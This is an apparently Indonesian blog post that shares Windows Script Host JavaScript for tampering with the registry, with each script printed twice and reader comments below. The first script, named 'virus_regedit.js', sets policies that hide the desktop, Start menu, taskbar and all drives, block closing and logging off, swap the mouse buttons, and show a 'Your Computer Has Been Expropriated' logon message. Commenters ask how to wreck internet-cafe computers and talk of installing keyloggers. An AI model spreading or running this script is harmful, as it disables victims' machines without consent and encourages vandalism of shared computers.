yuk bermain - main di RegEdit..hahaha *dengan pikiran yang sangat konyol*
sebenarnya artikel ini juga bisa untuk pengaman regedit atau malah sebagai perusak regedit.
tergantung temen-temen menggunakannya..saya sarankan yang aman-aman saja OKeh..hhe
CARA 1
// Program Mengubah Regedit
// Nama Program: virus_regedit.js
var natan = WScript.CreateObject("WScript.Shell");
{
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableR
egistryTools","0");
natan.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCapt
ion", "::Peri_Kecil::");
natan.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","::Danzj.sys::");
natan.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText",
"Your Computer Has Been Expropriated by .::Danzj.sys::.");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDeskt
op","1");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSetTa
skbar","1");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoTrayC
ontextMenu","1");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoView
ContextMenu","1");
natan.RegWrite("HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E)\\Default value","Danzj.sys");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose
","1");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogO
ff","01 00 00 00");
natan.RegWrite("HKLM\\SOFTWARE\\\Microsoft\\WindowsNT\\CurrentVersion\\Winlogon\\SpecialAcc
ounts\\UserList","1");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoStart
Menu","1");
natan.RegWrite("HKCU\\Control Panel\\Desktop\\WindowMetrics\\Shell","2");
natan.RegWrite("HKCU\\Control Panel\\Mouse\\SwapMouseButtons","1");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives
","67108863");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoStart
MenuEjectPC","1");
}
// Nama Program: virus_regedit.js
var natan = WScript.CreateObject("WScript.Shell");
{
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableR
egistryTools","0");
natan.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCapt
ion", "::Peri_Kecil::");
natan.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","::Danzj.sys::");
natan.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText",
"Your Computer Has Been Expropriated by .::Danzj.sys::.");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDeskt
op","1");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoSetTa
skbar","1");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoTrayC
ontextMenu","1");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoView
ContextMenu","1");
natan.RegWrite("HKCR\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E)\\Default value","Danzj.sys");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose
","1");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogO
ff","01 00 00 00");
natan.RegWrite("HKLM\\SOFTWARE\\\Microsoft\\WindowsNT\\CurrentVersion\\Winlogon\\SpecialAcc
ounts\\UserList","1");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoStart
Menu","1");
natan.RegWrite("HKCU\\Control Panel\\Desktop\\WindowMetrics\\Shell","2");
natan.RegWrite("HKCU\\Control Panel\\Mouse\\SwapMouseButtons","1");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives
","67108863");
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoStart
MenuEjectPC","1");
}
LALU SAVE DENGAN EXT .*.js
CARA 2
// Program Regedit
// Nama Program: regedit.js
var vbCancel = 2;
var vbYesNoCancel = 3;
var vbYes = 6;
var vbNo = 7;
var vbQuestion = 32;
var vbInformation = 64;
var natan = WScript.CreateObject("WScript.Shell");
var pesan1 = "Pilihan Pengaman Regedit:\n\n"+
"[Yes] untuk Nonaktifkan Regedit.\n"+
"[No] untuk Aktifkan Regedit.\n"+
"[Cancel] untuk Keluar.\n\n"+
"[.::Danzj.sys::.]\n\n"+
"-> Nonaktifkan Regedit sekarang?"
var tanya = natan.popup(pesan1,0,"Pengaman Regedit",vbYesNoCancel+
vbQuestion);
if (tanya == vbYes)
{
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion"+
"\\Policies\\System\\DisableRegistryTools",1,"REG_DWORD");
pesan2 = "Regedit Dinonaktifkan!"
natan.popup(pesan2,0,"Pengaman Regedit",vbInformation);
}
else if (tanya == vbNo)
{
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion"+
"\\Policies\\System\\DisableRegistryTools",0,"REG_DWORD");
pesan3 = "Regedit Diaktifkan!"
natan.popup(pesan3,0,"Pengaman Regedit",vbInformation);
}
else
{
natan.popup("Terima Kasih.Thank You.KIMCHI.",0,"Pengaman Regedit",vbInformation);
}
// Nama Program: regedit.js
var vbCancel = 2;
var vbYesNoCancel = 3;
var vbYes = 6;
var vbNo = 7;
var vbQuestion = 32;
var vbInformation = 64;
var natan = WScript.CreateObject("WScript.Shell");
var pesan1 = "Pilihan Pengaman Regedit:\n\n"+
"[Yes] untuk Nonaktifkan Regedit.\n"+
"[No] untuk Aktifkan Regedit.\n"+
"[Cancel] untuk Keluar.\n\n"+
"[.::Danzj.sys::.]\n\n"+
"-> Nonaktifkan Regedit sekarang?"
var tanya = natan.popup(pesan1,0,"Pengaman Regedit",vbYesNoCancel+
vbQuestion);
if (tanya == vbYes)
{
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion"+
"\\Policies\\System\\DisableRegistryTools",1,"REG_DWORD");
pesan2 = "Regedit Dinonaktifkan!"
natan.popup(pesan2,0,"Pengaman Regedit",vbInformation);
}
else if (tanya == vbNo)
{
natan.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion"+
"\\Policies\\System\\DisableRegistryTools",0,"REG_DWORD");
pesan3 = "Regedit Diaktifkan!"
natan.popup(pesan3,0,"Pengaman Regedit",vbInformation);
}
else
{
natan.popup("Terima Kasih.Thank You.KIMCHI.",0,"Pengaman Regedit",vbInformation);
}
silahkan edit pesan kata sesuai keinginan kamu^^
nah..begitu..silahkan coba dikomputermu dulu..hhe
sumber : imam thok (tahun 2008)
7 comments:
yang masih bingung langsung tanya saja^^
Kok ada namaku disitu...
gpapa lah, numpang tanar,,hehe
@Yonatan Adi Nugraha = saya persembahkan buatmu joe ..sik sering utak-atik komputer.
dijajal wae...wkwkwk...kui gon galaksi dicoba..kkk
yaya terima kasih....
meh rampung jame...
@Yonatan Adi Nugraha = hha..berat di ongkos ya gan..kkk
berarti warnet yang kamu pake masih aman tuhh...wkwk
ngrusak warnet bisa po mas
pake apa tu?
@yg atas, warnet bikin malas, da pasang deep freeze yg rusuh tu, ilangin my computer jd g bs bk FD, ilangin run lg, pengen w pasang keylogger ama virus mematikan tu
Post a Comment
thank you^^
contact me : http://soshikimchi.blogspot.com/
or : http://kimchi-net.tk